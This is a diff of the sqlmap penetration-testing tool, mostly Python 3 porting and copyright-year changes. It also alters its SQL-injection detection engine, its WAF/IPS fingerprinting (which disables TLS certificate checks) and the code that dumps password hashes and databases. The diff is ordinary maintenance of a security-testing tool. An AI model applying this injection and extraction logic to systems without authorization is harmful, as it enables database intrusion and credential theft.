'Documentation': 'https://github.com/sqlmapproject/sqlmap/wiki',
'Source': 'https://github.com/sqlmapproject/sqlmap/',
'Tracker': 'https://github.com/sqlmapproject/sqlmap/issues',
},
download_url='https://github.com/sqlmapproject/sqlmap/archive/$VERSION.zip', download_url='https://github.com/sqlmapproject/sqlmap/archive/$VERSION.zip',
license='GNU General Public License v2 (GPLv2)', license='GNU General Public License v2 (GPLv2)',
packages=find_packages(), packages=find_packages(),
@@ -61,7 +66,7 @@ cat > sqlmap/__init__.py << EOF
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -174,4 +179,4 @@ sed -i "s/^TYPE =.*/TYPE = \"$TYPE\"/g" sqlmap/lib/core/settings.py
sed -i "s/.*lib\/core\/settings\.py/`md5sum sqlmap/lib/core/settings.py | cut -d ' ' -f 1` lib\/core\/settings\.py/g" sqlmap/txt/checksum.md5 sed -i "s/.*lib\/core\/settings\.py/`md5sum sqlmap/lib/core/settings.py | cut -d ' ' -f 1` lib\/core\/settings\.py/g" sqlmap/txt/checksum.md5
for file in $(find sqlmap -type f | grep -v -E "\.(git|yml)"); do echo include $file >> MANIFEST.in; done for file in $(find sqlmap -type f | grep -v -E "\.(git|yml)"); do echo include $file >> MANIFEST.in; done
python setup.py sdist upload python setup.py sdist upload
rm -rf $TMP_DIR rm -rf $TMP_DIR
+6 -4
View File
@@ -1,8 +1,10 @@
#!/usr/bin/env python #!/usr/bin/env python
# Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) # Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission # See the file 'LICENSE' for copying permission
from __future__ import print_function
import codecs import codecs
import inspect import inspect
import os import os
@@ -56,8 +58,8 @@ def send_email(msg):
s.sendmail(FROM, TO, msg.as_string()) s.sendmail(FROM, TO, msg.as_string())
s.quit() s.quit()
# Catch all for SMTP exceptions # Catch all for SMTP exceptions
except smtplib.SMTPException, e: except smtplib.SMTPException as ex:
print "Failure to send email: %s" % str(e) print("Failure to send email: '%s" % ex)
def failure_email(msg): def failure_email(msg):
msg = prepare_email(msg) msg = prepare_email(msg)
@@ -157,7 +159,7 @@ if __name__ == "__main__":
try: try:
main() main()
except Exception, e: except Exception:
log_fd.write("An exception has occurred:\n%s" % str(traceback.format_exc())) log_fd.write("An exception has occurred:\n%s" % str(traceback.format_exc()))
log_fd.write("Regression test finished at %s\n\n" % time.strftime("%H:%M:%S %d-%m-%Y", time.gmtime())) log_fd.write("Regression test finished at %s\n\n" % time.strftime("%H:%M:%S %d-%m-%Y", time.gmtime()))
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+8 -6
View File
@@ -1,10 +1,12 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
from __future__ import print_function
import cookielib import cookielib
import re import re
import socket import socket
@@ -75,8 +77,8 @@ def main():
except KeyboardInterrupt: except KeyboardInterrupt:
raise raise
except Exception, msg: except Exception as ex:
print msg print(ex)
if abort: if abort:
break break
@@ -86,7 +88,7 @@ def main():
sys.stdout.write("---------------\n") sys.stdout.write("---------------\n")
for sqlfile in files: for sqlfile in files:
print sqlfile print(sqlfile)
try: try:
req = urllib2.Request(sqlfile) req = urllib2.Request(sqlfile)
@@ -118,8 +120,8 @@ def main():
except KeyboardInterrupt: except KeyboardInterrupt:
raise raise
except Exception, msg: except Exception as ex:
print msg print(ex)
else: else:
i += 1 i += 1
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+26 -13
View File
@@ -1,27 +1,32 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
from __future__ import print_function
import cookielib import cookielib
import glob import glob
import httplib import httplib
import inspect import inspect
import os import os
import re import re
import socket
import ssl
import subprocess import subprocess
import sys import sys
import urllib
import urllib2 import urllib2
import urlparse
sys.dont_write_bytecode = True sys.dont_write_bytecode = True
if hasattr(ssl, "_create_unverified_context"):
ssl._create_default_https_context = ssl._create_unverified_context
NAME, VERSION, AUTHOR = "WAF Detectify", "0.1", "sqlmap developers (@sqlmap)" NAME, VERSION, AUTHOR = "WAF Detectify", "0.1", "sqlmap developers (@sqlmap)"
TIMEOUT = 10 TIMEOUT = 10
HEADERS = {"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Cache-Control": "max-age=0"} HEADERS = {"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "identity", "Cache-Control": "max-age=0"}
SQLMAP_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..")) SQLMAP_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__), "..", ".."))
SCRIPTS_DIR = os.path.join(SQLMAP_DIR, "waf") SCRIPTS_DIR = os.path.join(SQLMAP_DIR, "waf")
LEVEL_COLORS = {"o": "\033[00;94m", "x": "\033[00;91m", "!": "\033[00;93m", "i": "\033[00;92m"} LEVEL_COLORS = {"o": "\033[00;94m", "x": "\033[00;91m", "!": "\033[00;93m", "i": "\033[00;92m"}
@@ -45,7 +50,7 @@ def get_page(get=None, url=None, host=None, data=None):
conn = urllib2.urlopen(req, timeout=TIMEOUT) conn = urllib2.urlopen(req, timeout=TIMEOUT)
page = conn.read() page = conn.read()
headers = conn.info() headers = conn.info()
except Exception, ex: except Exception as ex:
code = getattr(ex, "code", None) code = getattr(ex, "code", None)
page = ex.read() if hasattr(ex, "read") else getattr(ex, "msg", "") page = ex.read() if hasattr(ex, "read") else getattr(ex, "msg", "")
headers = ex.info() if hasattr(ex, "info") else {} headers = ex.info() if hasattr(ex, "info") else {}
@@ -65,7 +70,7 @@ def colorize(message):
def main(): def main():
global WAF_FUNCTIONS global WAF_FUNCTIONS
print colorize("%s #v%s\n by: %s\n" % (NAME, VERSION, AUTHOR)) print(colorize("%s #v%s\n by: %s\n" % (NAME, VERSION, AUTHOR)))
if len(sys.argv) < 2: if len(sys.argv) < 2:
exit(colorize("[x] usage: python %s <hostname>" % os.path.split(__file__)[-1])) exit(colorize("[x] usage: python %s <hostname>" % os.path.split(__file__)[-1]))
@@ -90,8 +95,8 @@ def main():
if filename[:-3] in sys.modules: if filename[:-3] in sys.modules:
del sys.modules[filename[:-3]] del sys.modules[filename[:-3]]
module = __import__(filename[:-3].encode(sys.getfilesystemencoding() or "utf8")) module = __import__(filename[:-3].encode(sys.getfilesystemencoding() or "utf8"))
except ImportError, msg: except ImportError as ex:
exit(colorize("[x] cannot import WAF script '%s' (%s)" % (filename[:-3], msg))) exit(colorize("[x] cannot import WAF script '%s' (%s)" % (filename[:-3], ex)))
_ = dict(inspect.getmembers(module)) _ = dict(inspect.getmembers(module))
if "detect" not in _: if "detect" not in _:
@@ -101,7 +106,14 @@ def main():
WAF_FUNCTIONS = sorted(WAF_FUNCTIONS, key=lambda _: "generic" in _[1].lower()) WAF_FUNCTIONS = sorted(WAF_FUNCTIONS, key=lambda _: "generic" in _[1].lower())
print colorize("[i] %d WAF scripts loaded" % len(WAF_FUNCTIONS)) print(colorize("[i] checking '%s'..." % sys.argv[1]))
hostname = sys.argv[1].split("//")[-1].split('/')[0]
try:
socket.getaddrinfo(hostname, None)
except socket.gaierror:
print(colorize("[x] host '%s' does not exist" % hostname))
exit(1)
found = False found = False
for function, product in WAF_FUNCTIONS: for function, product in WAF_FUNCTIONS:
@@ -109,13 +121,14 @@ def main():
continue continue
if function(get_page): if function(get_page):
print colorize("[!] WAF/IPS/IDS identified as '%s'" % product) exit(colorize("[!] WAF/IPS identified as '%s'" % product))
found = True
if not found: if not found:
print colorize("[o] nothing found") print(colorize("[o] nothing found"))
print print()
exit(int(not found))
if __name__ == "__main__": if __name__ == "__main__":
main() main()
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+64 -14
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -75,7 +75,7 @@ def action():
if conf.getPasswordHashes: if conf.getPasswordHashes:
try: try:
conf.dumper.userSettings("database management system users password hashes", conf.dbmsHandler.getPasswordHashes(), "password hash", CONTENT_TYPE.PASSWORDS) conf.dumper.userSettings("database management system users password hashes", conf.dbmsHandler.getPasswordHashes(), "password hash", CONTENT_TYPE.PASSWORDS)
except SqlmapNoneDataException, ex: except SqlmapNoneDataException as ex:
logger.critical(ex) logger.critical(ex)
except: except:
raise raise
@@ -83,7 +83,7 @@ def action():
if conf.getPrivileges: if conf.getPrivileges:
try: try:
conf.dumper.userSettings("database management system users privileges", conf.dbmsHandler.getPrivileges(), "privilege", CONTENT_TYPE.PRIVILEGES) conf.dumper.userSettings("database management system users privileges", conf.dbmsHandler.getPrivileges(), "privilege", CONTENT_TYPE.PRIVILEGES)
except SqlmapNoneDataException, ex: except SqlmapNoneDataException as ex:
logger.critical(ex) logger.critical(ex)
except: except:
raise raise
@@ -91,40 +91,90 @@ def action():
if conf.getRoles: if conf.getRoles:
try: try:
conf.dumper.userSettings("database management system users roles", conf.dbmsHandler.getRoles(), "role", CONTENT_TYPE.ROLES) conf.dumper.userSettings("database management system users roles", conf.dbmsHandler.getRoles(), "role", CONTENT_TYPE.ROLES)
except SqlmapNoneDataException, ex: except SqlmapNoneDataException as ex:
logger.critical(ex) logger.critical(ex)
except: except:
raise raise
if conf.getDbs: if conf.getDbs:
conf.dumper.dbs(conf.dbmsHandler.getDbs()) try:
conf.dumper.dbs(conf.dbmsHandler.getDbs())
except SqlmapNoneDataException as ex:
logger.critical(ex)
except:
raise
if conf.getTables: if conf.getTables:
conf.dumper.dbTables(conf.dbmsHandler.getTables()) try:
conf.dumper.dbTables(conf.dbmsHandler.getTables())
except SqlmapNoneDataException as ex:
logger.critical(ex)
except:
raise
if conf.commonTables: if conf.commonTables:
conf.dumper.dbTables(tableExists(paths.COMMON_TABLES)) try:
conf.dumper.dbTables(tableExists(paths.COMMON_TABLES))
except SqlmapNoneDataException as ex:
logger.critical(ex)
except:
raise
if conf.getSchema: if conf.getSchema:
conf.dumper.dbTableColumns(conf.dbmsHandler.getSchema(), CONTENT_TYPE.SCHEMA) try:
conf.dumper.dbTableColumns(conf.dbmsHandler.getSchema(), CONTENT_TYPE.SCHEMA)
except SqlmapNoneDataException as ex:
logger.critical(ex)
except:
raise
if conf.getColumns: if conf.getColumns:
conf.dumper.dbTableColumns(conf.dbmsHandler.getColumns(), CONTENT_TYPE.COLUMNS) try:
conf.dumper.dbTableColumns(conf.dbmsHandler.getColumns(), CONTENT_TYPE.COLUMNS)
except SqlmapNoneDataException as ex:
logger.critical(ex)
except:
raise
if conf.getCount: if conf.getCount:
conf.dumper.dbTablesCount(conf.dbmsHandler.getCount()) try:
conf.dumper.dbTablesCount(conf.dbmsHandler.getCount())
except SqlmapNoneDataException as ex:
logger.critical(ex)
except:
raise
if conf.commonColumns: if conf.commonColumns:
conf.dumper.dbTableColumns(columnExists(paths.COMMON_COLUMNS)) try:
conf.dumper.dbTableColumns(columnExists(paths.COMMON_COLUMNS))
except SqlmapNoneDataException as ex:
logger.critical(ex)
except:
raise
if conf.dumpTable: if conf.dumpTable:
conf.dbmsHandler.dumpTable() try:
conf.dbmsHandler.dumpTable()
except SqlmapNoneDataException as ex:
logger.critical(ex)
except:
raise
if conf.dumpAll: if conf.dumpAll:
conf.dbmsHandler.dumpAll() try:
conf.dbmsHandler.dumpAll()
except SqlmapNoneDataException as ex:
logger.critical(ex)
except:
raise
if conf.search: if conf.search:
conf.dbmsHandler.search() try:
conf.dbmsHandler.search()
except SqlmapNoneDataException as ex:
logger.critical(ex)
except:
raise
if conf.query: if conf.query:
conf.dumper.query(conf.query, conf.dbmsHandler.sqlQuery(conf.query)) conf.dumper.query(conf.query, conf.dbmsHandler.sqlQuery(conf.query))
+66 -50
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -69,11 +69,14 @@ from lib.core.enums import NULLCONNECTION
from lib.core.enums import PAYLOAD from lib.core.enums import PAYLOAD
from lib.core.enums import PLACE from lib.core.enums import PLACE
from lib.core.enums import REDIRECTION from lib.core.enums import REDIRECTION
from lib.core.enums import WEB_PLATFORM
from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapConnectionException
from lib.core.exception import SqlmapDataException
from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapNoneDataException
from lib.core.exception import SqlmapSilentQuitException from lib.core.exception import SqlmapSilentQuitException
from lib.core.exception import SqlmapSkipTargetException from lib.core.exception import SqlmapSkipTargetException
from lib.core.exception import SqlmapUserQuitException from lib.core.exception import SqlmapUserQuitException
from lib.core.settings import BOUNDED_INJECTION_MARKER
from lib.core.settings import CANDIDATE_SENTENCE_MIN_LENGTH from lib.core.settings import CANDIDATE_SENTENCE_MIN_LENGTH
from lib.core.settings import CHECK_INTERNET_ADDRESS from lib.core.settings import CHECK_INTERNET_ADDRESS
from lib.core.settings import CHECK_INTERNET_VALUE from lib.core.settings import CHECK_INTERNET_VALUE
@@ -83,11 +86,13 @@ from lib.core.settings import DUMMY_NON_SQLI_CHECK_APPENDIX
from lib.core.settings import FI_ERROR_REGEX from lib.core.settings import FI_ERROR_REGEX
from lib.core.settings import FORMAT_EXCEPTION_STRINGS from lib.core.settings import FORMAT_EXCEPTION_STRINGS
from lib.core.settings import HEURISTIC_CHECK_ALPHABET from lib.core.settings import HEURISTIC_CHECK_ALPHABET
from lib.core.settings import IDS_WAF_CHECK_PAYLOAD from lib.core.settings import IPS_WAF_CHECK_PAYLOAD
from lib.core.settings import IDS_WAF_CHECK_RATIO from lib.core.settings import IDS_WAF_CHECK_RATIO
from lib.core.settings import IDS_WAF_CHECK_TIMEOUT from lib.core.settings import IDS_WAF_CHECK_TIMEOUT
from lib.core.settings import MAX_DIFFLIB_SEQUENCE_LENGTH from lib.core.settings import MAX_DIFFLIB_SEQUENCE_LENGTH
from lib.core.settings import NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH from lib.core.settings import NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH
from lib.core.settings import PRECONNECT_INCOMPATIBLE_SERVERS
from lib.core.settings import SINGLE_QUOTE_MARKER
from lib.core.settings import SLEEP_TIME_MARKER from lib.core.settings import SLEEP_TIME_MARKER
from lib.core.settings import SUHOSIN_MAX_VALUE_LENGTH from lib.core.settings import SUHOSIN_MAX_VALUE_LENGTH
from lib.core.settings import SUPPORTED_DBMS from lib.core.settings import SUPPORTED_DBMS
@@ -359,7 +364,7 @@ def checkSqlInjection(place, parameter, value):
# Parse test's <request> # Parse test's <request>
comment = agent.getComment(test.request) if len(conf.boundaries) > 1 else None comment = agent.getComment(test.request) if len(conf.boundaries) > 1 else None
fstPayload = agent.cleanupPayload(test.request.payload, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) else None) fstPayload = agent.cleanupPayload(test.request.payload, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None)
for boundary in boundaries: for boundary in boundaries:
injectable = False injectable = False
@@ -421,11 +426,14 @@ def checkSqlInjection(place, parameter, value):
templatePayload = None templatePayload = None
vector = None vector = None
origValue = value
if kb.customInjectionMark in origValue:
origValue = origValue.split(kb.customInjectionMark)[0]
origValue = re.search(r"(\w*)\Z", origValue).group(1)
# Threat the parameter original value according to the # Threat the parameter original value according to the
# test's <where> tag # test's <where> tag
if where == PAYLOAD.WHERE.ORIGINAL or conf.prefix: if where == PAYLOAD.WHERE.ORIGINAL or conf.prefix:
origValue = value
if kb.tamperFunctions: if kb.tamperFunctions:
templatePayload = agent.payload(place, parameter, value="", newValue=origValue, where=where) templatePayload = agent.payload(place, parameter, value="", newValue=origValue, where=where)
elif where == PAYLOAD.WHERE.NEGATIVE: elif where == PAYLOAD.WHERE.NEGATIVE:
@@ -435,7 +443,7 @@ def checkSqlInjection(place, parameter, value):
if conf.invalidLogical: if conf.invalidLogical:
_ = int(kb.data.randomInt[:2]) _ = int(kb.data.randomInt[:2])
origValue = "%s AND %s LIKE %s" % (value, _, _ + 1) origValue = "%s AND %s LIKE %s" % (origValue, _, _ + 1)
elif conf.invalidBignum: elif conf.invalidBignum:
origValue = kb.data.randomInt[:6] origValue = kb.data.randomInt[:6]
elif conf.invalidString: elif conf.invalidString:
@@ -470,13 +478,13 @@ def checkSqlInjection(place, parameter, value):
# payload was successful # payload was successful
# Parse test's <response> # Parse test's <response>
for method, check in test.response.items(): for method, check in test.response.items():
check = agent.cleanupPayload(check, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) else None) check = agent.cleanupPayload(check, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None)
# In case of boolean-based blind SQL injection # In case of boolean-based blind SQL injection
if method == PAYLOAD.METHOD.COMPARISON: if method == PAYLOAD.METHOD.COMPARISON:
# Generate payload used for comparison # Generate payload used for comparison
def genCmpPayload(): def genCmpPayload():
sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) else None) sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None)
# Forge response payload by prepending with # Forge response payload by prepending with
# boundary's prefix and appending the boundary's # boundary's prefix and appending the boundary's
@@ -610,7 +618,7 @@ def checkSqlInjection(place, parameter, value):
page, headers, _ = Request.queryPage(reqPayload, place, content=True, raise404=False) page, headers, _ = Request.queryPage(reqPayload, place, content=True, raise404=False)
output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE) output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE)
output = output or extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None, re.DOTALL | re.IGNORECASE) output = output or extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None, re.DOTALL | re.IGNORECASE)
output = output or extractRegexResult(check, listToStrValue((headers[key] for key in headers.keys() if key.lower() != URI_HTTP_HEADER.lower()) if headers else None), re.DOTALL | re.IGNORECASE) output = output or extractRegexResult(check, listToStrValue((headers[key] for key in headers if key.lower() != URI_HTTP_HEADER.lower()) if headers else None), re.DOTALL | re.IGNORECASE)
output = output or extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE) output = output or extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
if output: if output:
@@ -622,10 +630,10 @@ def checkSqlInjection(place, parameter, value):
injectable = True injectable = True
except SqlmapConnectionException, msg: except SqlmapConnectionException as ex:
debugMsg = "problem occurred most likely because the " debugMsg = "problem occurred most likely because the "
debugMsg += "server hasn't recovered as expected from the " debugMsg += "server hasn't recovered as expected from the "
debugMsg += "error-based payload used ('%s')" % msg debugMsg += "error-based payload used ('%s')" % getSafeExString(ex)
logger.debug(debugMsg) logger.debug(debugMsg)
# In case of time-based blind or stacked queries # In case of time-based blind or stacked queries
@@ -858,8 +866,8 @@ def heuristicCheckDbms(injection):
if conf.noEscape and dbms not in FROM_DUMMY_TABLE: if conf.noEscape and dbms not in FROM_DUMMY_TABLE:
continue continue
if checkBooleanExpression("(SELECT '%s'%s)='%s'" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), randStr1)): if checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr1, SINGLE_QUOTE_MARKER)):
if not checkBooleanExpression("(SELECT '%s'%s)='%s'" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), randStr2)): if not checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr2, SINGLE_QUOTE_MARKER)):
retVal = dbms retVal = dbms
break break
@@ -895,7 +903,7 @@ def checkFalsePositives(injection):
kb.injection = injection kb.injection = injection
for i in xrange(conf.level): for level in xrange(conf.level):
while True: while True:
randInt1, randInt2, randInt3 = (_() for j in xrange(3)) randInt1, randInt2, randInt3 = (_() for j in xrange(3))
@@ -991,11 +999,6 @@ def checkFilteredChars(injection):
kb.injection = popValue() kb.injection = popValue()
def heuristicCheckSqlInjection(place, parameter): def heuristicCheckSqlInjection(place, parameter):
if kb.nullConnection:
debugMsg = "heuristic check skipped because NULL connection used"
logger.debug(debugMsg)
return None
if kb.heavilyDynamic: if kb.heavilyDynamic:
debugMsg = "heuristic check skipped because of heavy dynamicity" debugMsg = "heuristic check skipped because of heavy dynamicity"
logger.debug(debugMsg) logger.debug(debugMsg)
@@ -1053,9 +1056,19 @@ def heuristicCheckSqlInjection(place, parameter):
kb.heuristicTest = HEURISTIC_TEST.CASTED if casting else HEURISTIC_TEST.NEGATIVE if not result else HEURISTIC_TEST.POSITIVE kb.heuristicTest = HEURISTIC_TEST.CASTED if casting else HEURISTIC_TEST.NEGATIVE if not result else HEURISTIC_TEST.POSITIVE
if casting: if casting:
errMsg = "possible %s casting " % ("integer" if origValue.isdigit() else "type") errMsg = "possible %s casting detected (e.g. '" % ("integer" if origValue.isdigit() else "type")
errMsg += "detected (e.g. \"$%s=intval($_REQUEST['%s'])\") " % (parameter, parameter)
errMsg += "at the back-end web application" platform = conf.url.split('.')[-1].lower()
if platform == WEB_PLATFORM.ASP:
errMsg += "%s=CInt(request.querystring(\"%s\"))" % (parameter, parameter)
elif platform == WEB_PLATFORM.ASPX:
errMsg += "int.TryParse(Request.QueryString[\"%s\"], out %s)" % (parameter, parameter)
elif platform == WEB_PLATFORM.JSP:
errMsg += "%s=Integer.parseInt(request.getParameter(\"%s\"))" % (parameter, parameter)
else:
errMsg += "$%s=intval($_REQUEST[\"%s\"])" % (parameter, parameter)
errMsg += "') at the back-end web application"
logger.error(errMsg) logger.error(errMsg)
if kb.ignoreCasted is None: if kb.ignoreCasted is None:
@@ -1120,14 +1133,6 @@ def checkDynParam(place, parameter, value):
try: try:
payload = agent.payload(place, parameter, value, getUnicode(randInt)) payload = agent.payload(place, parameter, value, getUnicode(randInt))
dynResult = Request.queryPage(payload, place, raise404=False) dynResult = Request.queryPage(payload, place, raise404=False)
if not dynResult:
infoMsg = "confirming that %s parameter '%s' is dynamic" % (paramType, parameter)
logger.info(infoMsg)
randInt = randomInt()
payload = agent.payload(place, parameter, value, getUnicode(randInt))
dynResult = Request.queryPage(payload, place, raise404=False)
except SqlmapConnectionException: except SqlmapConnectionException:
pass pass
@@ -1231,7 +1236,7 @@ def checkStability():
logger.error(errMsg) logger.error(errMsg)
else: else:
warnMsg = "target URL content is not stable. sqlmap will base the page " warnMsg = "target URL content is not stable (i.e. content differs). sqlmap will base the page "
warnMsg += "comparison on a sequence matcher. If no dynamic nor " warnMsg += "comparison on a sequence matcher. If no dynamic nor "
warnMsg += "injectable parameters are detected, or in case of " warnMsg += "injectable parameters are detected, or in case of "
warnMsg += "junk results, refer to user's manual paragraph " warnMsg += "junk results, refer to user's manual paragraph "
@@ -1316,9 +1321,8 @@ def checkRegexp():
rawResponse = "%s%s" % (listToStrValue(headers.headers if headers else ""), page) rawResponse = "%s%s" % (listToStrValue(headers.headers if headers else ""), page)
if not re.search(conf.regexp, rawResponse, re.I | re.M): if not re.search(conf.regexp, rawResponse, re.I | re.M):
warnMsg = "you provided '%s' as the regular expression to " % conf.regexp warnMsg = "you provided '%s' as the regular expression " % conf.regexp
warnMsg += "match, but such a regular expression does not have any " warnMsg += "which does not have any match within the target URL raw response. sqlmap "
warnMsg += "match within the target URL raw response, sqlmap "
warnMsg += "will carry on anyway" warnMsg += "will carry on anyway"
logger.warn(warnMsg) logger.warn(warnMsg)
@@ -1337,7 +1341,7 @@ def checkWaf():
if _ is not None: if _ is not None:
if _: if _:
warnMsg = "previous heuristics detected that the target " warnMsg = "previous heuristics detected that the target "
warnMsg += "is protected by some kind of WAF/IPS/IDS" warnMsg += "is protected by some kind of WAF/IPS"
logger.critical(warnMsg) logger.critical(warnMsg)
return _ return _
@@ -1345,11 +1349,11 @@ def checkWaf():
return None return None
infoMsg = "checking if the target is protected by " infoMsg = "checking if the target is protected by "
infoMsg += "some kind of WAF/IPS/IDS" infoMsg += "some kind of WAF/IPS"
logger.info(infoMsg) logger.info(infoMsg)
retVal = False retVal = False
payload = "%d %s" % (randomInt(), IDS_WAF_CHECK_PAYLOAD) payload = "%d %s" % (randomInt(), IPS_WAF_CHECK_PAYLOAD)
if PLACE.URI in conf.parameters: if PLACE.URI in conf.parameters:
place = PLACE.POST place = PLACE.POST
@@ -1360,9 +1364,11 @@ def checkWaf():
value += "%s=%s" % (randomStr(), agent.addPayloadDelimiters(payload)) value += "%s=%s" % (randomStr(), agent.addPayloadDelimiters(payload))
pushValue(kb.redirectChoice) pushValue(kb.redirectChoice)
pushValue(kb.resendPostOnRedirect)
pushValue(conf.timeout) pushValue(conf.timeout)
kb.redirectChoice = REDIRECTION.YES kb.redirectChoice = REDIRECTION.YES
kb.resendPostOnRedirect = False
conf.timeout = IDS_WAF_CHECK_TIMEOUT conf.timeout = IDS_WAF_CHECK_TIMEOUT
try: try:
@@ -1373,16 +1379,17 @@ def checkWaf():
kb.matchRatio = None kb.matchRatio = None
conf.timeout = popValue() conf.timeout = popValue()
kb.resendPostOnRedirect = popValue()
kb.redirectChoice = popValue() kb.redirectChoice = popValue()
if retVal: if retVal:
warnMsg = "heuristics detected that the target " warnMsg = "heuristics detected that the target "
warnMsg += "is protected by some kind of WAF/IPS/IDS" warnMsg += "is protected by some kind of WAF/IPS"
logger.critical(warnMsg) logger.critical(warnMsg)
if not conf.identifyWaf: if not conf.identifyWaf:
message = "do you want sqlmap to try to detect backend " message = "do you want sqlmap to try to detect backend "
message += "WAF/IPS/IDS? [y/N] " message += "WAF/IPS? [y/N] "
if readInput(message, default='N', boolean=True): if readInput(message, default='N', boolean=True):
conf.identifyWaf = True conf.identifyWaf = True
@@ -1406,7 +1413,7 @@ def identifyWaf():
kb.testMode = True kb.testMode = True
infoMsg = "using WAF scripts to detect " infoMsg = "using WAF scripts to detect "
infoMsg += "backend WAF/IPS/IDS protection" infoMsg += "backend WAF/IPS protection"
logger.info(infoMsg) logger.info(infoMsg)
@cachedmethod @cachedmethod
@@ -1414,11 +1421,12 @@ def identifyWaf():
page, headers, code = None, None, None page, headers, code = None, None, None
try: try:
pushValue(kb.redirectChoice) pushValue(kb.redirectChoice)
kb.redirectChoice = REDIRECTION.NO kb.redirectChoice = REDIRECTION.YES
if kwargs.get("get"): if kwargs.get("get"):
kwargs["get"] = urlencode(kwargs["get"]) kwargs["get"] = urlencode(kwargs["get"])
kwargs["raise404"] = False kwargs["raise404"] = False
kwargs["silent"] = True kwargs["silent"] = True
kwargs["finalCode"] = True
page, headers, code = Request.getPage(*args, **kwargs) page, headers, code = Request.getPage(*args, **kwargs)
except Exception: except Exception:
pass pass
